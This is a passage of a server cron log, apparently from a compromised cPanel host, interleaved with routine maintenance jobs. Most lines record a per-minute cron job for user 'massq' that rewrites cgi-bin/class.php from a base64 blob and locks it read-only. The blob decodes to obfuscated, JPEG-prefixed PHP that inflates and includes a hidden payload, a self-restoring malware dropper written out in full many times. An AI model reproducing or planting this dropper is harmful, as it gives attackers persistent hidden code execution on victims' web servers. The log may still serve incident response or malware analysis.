V9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:04:01 server CROND[9176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:05:01 server CROND[9242]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr 12 20:05:01 server CROND[9244]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 20:05:01 server CROND[9243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:05:01 server CROND[9245]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:05:01 server CROND[9246]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:06:01 server CROND[9368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:07:01 server CROND[9521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:08:01 server CROND[9574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:09:01 server CROND[9636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:09:01 server CROND[9637]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 20:10:01 server CROND[9710]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:10:01 server CROND[9709]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 20:10:01 server CROND[9711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:10:01 server CROND[9712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:11:01 server CROND[9836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:12:01 server CROND[9991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:12:01 server CROND[9992]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 20:13:01 server CROND[10056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:14:01 server CROND[10163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:15:01 server CROND[10219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 20:15:01 server CROND[10220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 20:15:01 server CROND[10222]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 20:15:01 server CROND[10223]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 20:16:01 server CROND[10335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
